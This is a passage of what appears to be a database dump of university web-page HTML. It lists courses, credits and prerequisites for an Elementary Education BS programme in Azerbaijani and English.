style=\"border-top:none;border-left:none;width:162pt\">Fəlsəfəyə\r\n  giriş (humanitar-1)</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">yox</td>\r\n  <td class=\"xl66\">&nbsp;</td>\r\n  <td class=\"xl72\" width=\"83\" style=\"border-top:none;width:62pt\">PHIL 110</td>\r\n  <td class=\"xl72\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Mədəniyyət\r\n  fəlsəfəsi (<strong><em>humanitar-2</em></strong>)</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">yox</td>\r\n </tr>\r\n <tr height=\"40\" style=\"height:30.0pt\">\r\n  <td height=\"40\" class=\"xl73\" width=\"86\" style=\"\" height:30.0pt;border-top:none;width:65pt\"\"=\"\">PSYC 101</td>\r\n  <td class=\"xl72\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">Psixologiyaya\r\n  giriş. Uşaq psixologiyası&nbsp;</td>\r\n  <td class=\"xl71\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">3</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">yox</td>\r\n  <td class=\"xl66\">&nbsp;</td>\r\n  <td class=\"xl73\" width=\"83\" style=\"border-top:none;width:62pt\">ART 231</td>\r\n  <td class=\"xl72\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Təsviri\r\n  incəsənət və onun tədrisi&nbsp;</td>\r\n  <td class=\"xl71\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">3</td>\r\n  <td class=\"xl71\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">yox</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">SCI 101</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">Yer vəz fəza\r\n  elmi&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl71\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt\">yox</td>\r\n  <td class=\"xl66\">&nbsp;</td>\r\n  <td class=\"xl72\" width=\"83\" style=\"border-top:none;width:62pt\">LIT 201</td>\r\n  <td class=\"xl72\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Uşaq\r\n  ədəbiyyatı&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">yox</td>\r\n </tr>\r\n <tr height=\"56\" style=\"height:42.0pt\">\r\n  <td height=\"56\" class=\"xl70\" style=\"height:42.0pt;border-top:none\">AZLL 206</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">Müasir azərbaycan\r\n  dili-3</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">AZLL 108</td>\r\n  <td class=\"xl66\">&nbsp;</td>\r\n  <td class=\"xl72\" width=\"83\" style=\"border-top:none;width:62pt\">SPH 202</td>\r\n  <td class=\"xl72\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Nitq\r\n  mədəniyyətinin əsasları&nbsp;</td>\r\n  <td class=\"xl71\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">3</td>\r\n  <td class=\"xl72\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">yox</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl76\" style=\"height:15.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl76\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl76\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl76\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl66\">&nbsp;</td>\r\n  <td class=\"xl72\" width=\"83\" style=\"border-top:none;width:62pt\">EDU 217</td>\r\n  <td class=\"xl72\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Xüsusi\r\n  təhsil (<strong><em>seçmə-1</em></strong>)</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">EDU 101</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl93\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\"><strong>Kredit</strong></td>\r\n  <td class=\"xl82\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">16</td>\r\n  <td class=\"xl72\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt\">&nbsp;</td>\r\n  <td class=\"xl83\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none\">&nbsp;</td>\r\n  <td class=\"xl93\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\"><strong>Kredit</strong></td>\r\n  <td class=\"xl82\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">18</td>\r\n  <td class=\"xl72\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td colspan=\"9\" height=\"20\" class=\"xl96\" style=\"height:15.0pt\"><h3><strong>3-cü il</strong></h3></td>\r\n </tr>\r\n <tr height=\"21\" style=\"height:15.75pt\">\r\n  <td height=\"21\" class=\"xl65\" style=\"height:15.75pt\"><strong>Kod</strong></td>\r\n  <td class=\"xl77\" width=\"216\" style=\"border-left:none;width:162pt;font-size:large\"><strong>Payız</strong></td>\r\n  <td class=\"xl77\" width=\"46\" style=\"border-left:none;width:35pt;font-size:large\"><strong>KU</strong></td>\r\n  <td class=\"xl67\" width=\"140\" style=\"border-left:none;width:105pt;font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td class=\"xl66\" style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td class=\"xl65\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td class=\"xl77\" width=\"252\" style=\"border-left:none;width:189pt;font-size:large\"><strong>Yaz</strong></td>\r\n  <td class=\"xl77\" width=\"33\" style=\"border-left:none;width:25pt;font-size:large\"><strong>KU</strong></td>\r\n  <td class=\"xl67\" width=\"166\" style=\"border-left:none;width:125pt;font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"40\" style=\"height:30.0pt\">\r\n  <td height=\"40\" class=\"xl72\" width=\"86\" style=\"\" height:30.0pt;border-top:none;width:65pt\"\"=\"\">MATH 223</td>\r\n  <td class=\"xl72\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">İbtidai\r\n  sinif müəllimləri üçün riyaziyyat-1</td>\r\n  <td class=\"xl72\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">3</td>\r\n  <td class=\"xl72\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt\">yox</td>\r\n  <td class=\"xl66\">&nbsp;</td>\r\n  <td class=\"xl72\" width=\"83\" style=\"border-top:none;width:62pt\">EDU 306</td>\r\n  <td class=\"xl72\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Təhsilin\r\n  tarixi və fəlsəfi əsasalrı&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">EDU 101</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl72\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">LAW 226</td>\r\n  <td class=\"xl72\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">İnsan\r\n  hüquqları (<strong><em>sosial-1</em></strong>)</td>\r\n  <td class=\"xl72\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">3</td>\r\n  <td class=\"xl72\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt\">yox</td>\r\n  <td class=\"xl66\">&nbsp;</td>\r\n  <td class=\"xl72\" width=\"83\" style=\"border-top:none;width:62pt\">EDU 496</td>\r\n  <td class=\"xl72\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Sinfin\r\n  idarəolunması (<strong><em>seçmə-3</em></strong>)</td>\r\n  <td class=\"xl72\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">3</td>\r\n  <td class=\"xl72\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">yox</td>\r\n </tr>\r\n <tr height=\"40\" style=\"height:30.0pt\">\r\n  <td height=\"40\" class=\"xl72\" width=\"86\" style=\"\" height:30.0pt;border-top:none;width:65pt\"\"=\"\">MED 315</td>\r\n  <td class=\"xl72\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">Mülki\r\n  müdafiə və tibbi biliklərin əsasları&nbsp;&nbsp;</td>\r\n  <td class=\"xl72\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">3</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">yox</td>\r\n  <td class=\"xl66\">&nbsp;</td>\r\n  <td class=\"xl72\" width=\"83\" style=\"border-top:none;width:62pt\">EDU 329</td>\r\n  <td class=\"xl72\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Həyat\r\n  bilgisi və onun tədrisi metodikası&nbsp;</td>\r\n  <td class=\"xl72\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">3</td>\r\n  <td class=\"xl72\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">EDU\r\n  101</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl72\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">PSYCH 304</td>\r\n  <td class=\"xl72\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">Təhsil\r\n  psixologiyasının əsasları&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl72\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt\">EDU&nbsp; 101</td>\r\n  <td class=\"xl66\">&nbsp;</td>\r\n  <td class=\"xl72\" width=\"83\" style=\"border-top:none;width:62pt\">MATH 224</td>\r\n  <td class=\"xl72\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">ibtidai\r\n  sinif müəllimləri üçün riyaziyyat-2</td>\r\n  <td class=\"xl72\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">3</td>\r\n  <td class=\"xl72\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">MATH\r\n  223</td>\r\n </tr>\r\n <tr height=\"40\" style=\"height:30.0pt\">\r\n  <td height=\"40\" class=\"xl75\" width=\"86\" style=\"height:30.0pt;width:65pt\">EDU 381</td>\r\n  <td class=\"xl75\" width=\"216\" style=\"border-left:none;width:162pt\">Musiqi və onun\r\n  tədrisim metodikası (<strong><em>seçmə-2</em></strong>)</td>\r\n  <td class=\"xl75\" width=\"46\" style=\"border-left:none;width:35pt\">3</td>\r\n  <td class=\"xl75\" width=\"140\" style=\"border-left:none;width:105pt\">EDU 101</td>\r\n  <td class=\"xl66\">&nbsp;</td>\r\n  <td class=\"xl72\" width=\"83\" style=\"border-top:none;width:62pt\">EDU 302</td>\r\n  <td class=\"xl72\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Kurikulum\r\n  və qiymətləndirmə strateqiyaları&nbsp;</td>\r\n  <td class=\"xl72\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">3</td>\r\n  <td class=\"xl72\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">EDU\r\n  101</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-left:none\">&nbsp;</td>\r\n  <td class=\"xl72\" width=\"140\" style=\"border-left:none;width:105pt\">&nbsp;</td>\r\n  <td class=\"xl66\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none\">MGT 410</td>\r\n  <td class=\"xl86\" style=\"border-top:none;border-left:none\">Təşkilati davranış\r\n  (<strong><em>sosial-2</em></strong>)</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl72\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">yox</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl93\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\"><strong>Kredit</strong></td>\r\n  <td class=\"xl72\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">15</td>\r\n  <td class=\"xl72\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt\">&nbsp;</td>\r\n  <td class=\"xl83\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none\">&nbsp;</td>\r\n  <td class=\"xl93\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\"><strong>Kredit</strong></td>\r\n  <td class=\"xl67\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">18</td>\r\n  <td class=\"xl72\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td colspan=\"9\" height=\"20\" class=\"xl97\" style=\"height:15.0pt\"><h3><strong>4-cü il</strong></h3></td>\r\n </tr>\r\n <tr height=\"21\" style=\"height:15.75pt\">\r\n  <td height=\"21\" class=\"xl65\" style=\"height:15.75pt;font-size:large\"><strong>Kod</strong></td>\r\n  <td class=\"xl84\" width=\"216\" style=\"border-left:none;width:162pt;font-size:large\"><strong>Payız</strong></td>\r\n  <td class=\"xl84\" width=\"46\" style=\"border-left:none;width:35pt;font-size:large\"><strong>KU</strong></td>\r\n  <td class=\"xl85\" width=\"140\" style=\"border-left:none;width:105pt;font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td class=\"xl66\" style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td class=\"xl65\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td class=\"xl84\" width=\"252\" style=\"border-left:none;width:189pt;font-size:large\"><strong>Yaz</strong></td>\r\n  <td class=\"xl84\" width=\"33\" style=\"border-left:none;width:25pt;font-size:large\"><strong>KU</strong></td>\r\n  <td class=\"xl85\" width=\"166\" style=\"border-left:none;width:125pt;font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"40\" style=\"height:30.0pt\">\r\n  <td height=\"40\" class=\"xl72\" width=\"86\" style=\"\" height:30.0pt;border-top:none;width:65pt\"\"=\"\">EDU 327</td>\r\n  <td class=\"xl72\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">Riyaziyyatın\r\n  ibtidai kursunun tədrisi metodikası&nbsp;</td>\r\n  <td class=\"xl74\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">3</td>\r\n  <td class=\"xl72\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt\">MATH\r\n  224</td>\r\n  <td class=\"xl66\">&nbsp;</td>\r\n  <td class=\"xl72\" width=\"83\" style=\"border-top:none;width:62pt\">EDU 408</td>\r\n  <td class=\"xl72\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Aktiv\r\n  praktika&nbsp;</td>\r\n  <td class=\"xl74\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">6</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">EDU 101, EDU 302</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl72\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">EDU 403</td>\r\n  <td class=\"xl72\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">Ana\r\n  dilinin tədrisi metodikası&nbsp;</td>\r\n  <td class=\"xl72\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">3</td>\r\n  <td class=\"xl71\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt\">EDU\r\n  101</td>\r\n  <td class=\"xl66\">&nbsp;</td>\r\n  <td class=\"xl72\" width=\"83\" style=\"border-top:none;width:62pt\">EDU 428</td>\r\n  <td class=\"xl72\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Təhsildə\r\n  İKT</td>\r\n  <td class=\"xl74\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">3</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">CMS 101, EDU 101</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl72\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">EDU 407</td>\r\n  <td class=\"xl72\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">Passiv\r\n  praktika&nbsp;</td>\r\n  <td class=\"xl72\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">6</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">EDU 101, EDU 302</td>\r\n  <td class=\"xl66\">&nbsp;</td>\r\n  <td class=\"xl72\" width=\"83\" style=\"border-top:none;width:62pt\">EDU 495</td>\r\n  <td class=\"xl72\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Təlimin\r\n  metodları (<em><strong>seçmə-5</strong></em>)</td>\r\n  <td class=\"xl74\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">3</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">EDU 101</td>\r\n </tr>\r\n <tr height=\"40\" style=\"height:30.0pt\">\r\n  <td height=\"40\" class=\"xl72\" width=\"86\" style=\"\" height:30.0pt;border-top:none;width:65pt\"\"=\"\">EDU 408</td>\r\n  <td class=\"xl87\" width=\"216\" style=\"width:162pt\">Ədəbiyyatın tədrisi m etodikası\r\n  (seçmə-4)</td>\r\n  <td class=\"xl70\" style=\"border-top:none\">3</td>\r\n  <td class=\"xl66\">EDU 101</td>\r\n  <td class=\"xl66\">&nbsp;</td>\r\n  <td class=\"xl76\" style=\"border-top:none\">EDU 411</td>\r\n  <td class=\"xl76\" style=\"border-top:none;border-left:none\">Təhsilin idarə\r\n  olunması (<strong><em>seçmə-6</em></strong>)</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl71\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">EDU\r\n  101</td>\r\n </tr>\r\n <tr height=\"40\" style=\"height:30.0pt\">\r\n  <td height=\"40\" class=\"xl76\" style=\"height:30.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl76\" style=\"border-left:none\">&nbsp;</td>\r\n  <td class=\"xl76\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl76\" style=\"border-left:none\">&nbsp;</td>\r\n  <td class=\"xl66\">&nbsp;</td>\r\n  <td class=\"xl72\" width=\"83\" style=\"border-top:none;width:62pt\">EDU 475</td>\r\n  <td class=\"xl72\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Uşaq\r\n  anatomiyası, fiziologiyası və gigiyenası&nbsp;</td>\r\n  <td class=\"xl74\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">3</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">yox</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl93\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\"><strong>Kredit</strong></td>\r\n  <td class=\"xl85\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">15</td>\r\n  <td class=\"xl72\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt\">&nbsp;</td>\r\n  <td class=\"xl83\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none\">&nbsp;</td>\r\n  <td class=\"xl93\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\"><strong>Kredit</strong></td>\r\n  <td class=\"xl85\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">18</td>\r\n  <td class=\"xl72\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\" style=\"height:15.75pt\">\r\n  <td height=\"21\" class=\"xl88\" style=\"height:15.75pt\"></td>\r\n  <td class=\"xl89\"><p><strong>Ümumi</strong></p></td>\r\n  <td class=\"xl90\" style=\"text-align:right\">132<br></td>\r\n  <td class=\"xl91\"></td>\r\n  <td class=\"xl89\"></td>\r\n  <td class=\"xl89\"></td>\r\n  <td class=\"xl89\"></td>\r\n  <td class=\"xl89\"></td>\r\n  <td class=\"xl92\"><br></td></tr></tbody></table>'),(892,587,'en','All Programs','All Programs','<p>The Department of Education offers education in undergraduate and graduate levels.</p><table cellpadding=\"0\" cellspacing=\"0\" width=\"1074\" style=\"\" border-collapse:collapse;width:807pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr height=\"20\" style=\"height:15.0pt\">\r\n  <td colspan=\"9\" rowspan=\"2\" height=\"40\" class=\"xl101\" width=\"1074\" style=\"\" height:30.0pt;width:807pt\"\"=\"\"><h2><strong>050108 – Elementary Education BS Program</strong></h2></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td colspan=\"9\" height=\"20\" class=\"xl99\" style=\"height:15.0pt\"><h3><strong>1<sup>st </sup>year</strong></h3></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td rowspan=\"2\" height=\"40\" class=\"xl102\" style=\"height:30pt;font-size:large\"><strong>Code</strong></td>\r\n  <td rowspan=\"2\" class=\"xl76\" width=\"216\" style=\"width:162pt;font-size:large\"><strong>Fall</strong></td>\r\n  <td rowspan=\"2\" class=\"xl76\" width=\"46\" style=\"width:35pt;font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" class=\"xl100\" width=\"140\" style=\"width:105pt;font-size:large\"><strong>Prerequisite</strong></td>\r\n  <td class=\"xl77\" style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td rowspan=\"2\" class=\"xl102\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" class=\"xl103\" style=\"font-size:large\"><strong>Spring</strong></td>\r\n  <td rowspan=\"2\" class=\"xl103\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" class=\"xl100\" width=\"166\" style=\"width:125pt;font-size:large\"><strong>Prerequisite</strong></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl77\" style=\"height:15.0pt\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl69\" style=\"height:15.0pt;border-top:none\">ENGL 101</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">Basics of English\r\n  Language 1</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">4</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">None</td>\r\n  <td class=\"xl77\">&nbsp;</td>\r\n  <td class=\"xl67\" style=\"border-top:none\">ENGL 102</td>\r\n  <td class=\"xl68\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Basics\r\n  of English Language 2</td>\r\n  <td class=\"xl68\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">4</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">ENGL 101</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl71\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">ASC 201&nbsp;</td>\r\n  <td class=\"xl71\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">Azerbaijanian\r\n  Culture</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">None</td>\r\n  <td class=\"xl77\">&nbsp;</td>\r\n  <td class=\"xl67\" style=\"border-top:none\">AZH 150&nbsp;</td>\r\n  <td class=\"xl70\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Azerbaijanian\r\n  History</td>\r\n  <td class=\"xl70\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">None</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl69\" style=\"height:15.0pt;border-top:none\">AZLL 106</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">Modern Azerbaijanian\r\n  Language-1</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">None</td>\r\n  <td class=\"xl77\">&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-top:none\">EDU 101</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">Introduction to\r\n  Education</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl70\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">None</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl71\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">AZLL 102</td>\r\n  <td class=\"xl71\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">Introduction\r\n  to Writing</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">None</td>\r\n  <td class=\"xl77\">&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-top:none\">AZLL 108</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">Modern Azerbaijanian\r\n  Language-2</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">AZLL 106</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl71\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">CMS 101</td>\r\n  <td class=\"xl71\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">Introduction\r\n  to Computer Science</td>\r\n  <td class=\"xl71\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">None</td>\r\n  <td class=\"xl77\">&nbsp;</td>\r\n  <td class=\"xl71\" width=\"83\" style=\"border-top:none;width:62pt\">AZLL105</td>\r\n  <td class=\"xl71\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Azerbaijanian\r\n  Literature</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl71\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">None</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl69\" style=\"height:15.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl92\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">Credit</td>\r\n  <td class=\"xl78\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">16</td>\r\n  <td class=\"xl79\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl80\">&nbsp;</td>\r\n  <td class=\"xl67\" style=\"border-top:none\">&nbsp;</td>\r\n  <td class=\"xl92\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Credit</td>\r\n  <td class=\"xl64\" style=\"border-top:none;border-left:none\">16</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td colspan=\"9\" height=\"20\" class=\"xl98\" style=\"height:15.0pt\"><h3><strong>2<sup>nd</sup> year</strong></h3></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td rowspan=\"2\" height=\"40\" class=\"xl102\" style=\"height:30pt;font-size:large\"><strong>CODE</strong></td>\r\n  <td rowspan=\"2\" class=\"xl76\" width=\"216\" style=\"width:162pt;font-size:large\"><strong>Fall</strong></td>\r\n  <td rowspan=\"2\" class=\"xl104\" width=\"46\" style=\"width:35pt;font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" class=\"xl100\" width=\"140\" style=\"width:105pt;font-size:large\"><strong>Prerequisite</strong></td>\r\n  <td class=\"xl65\" style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td rowspan=\"2\" class=\"xl102\" 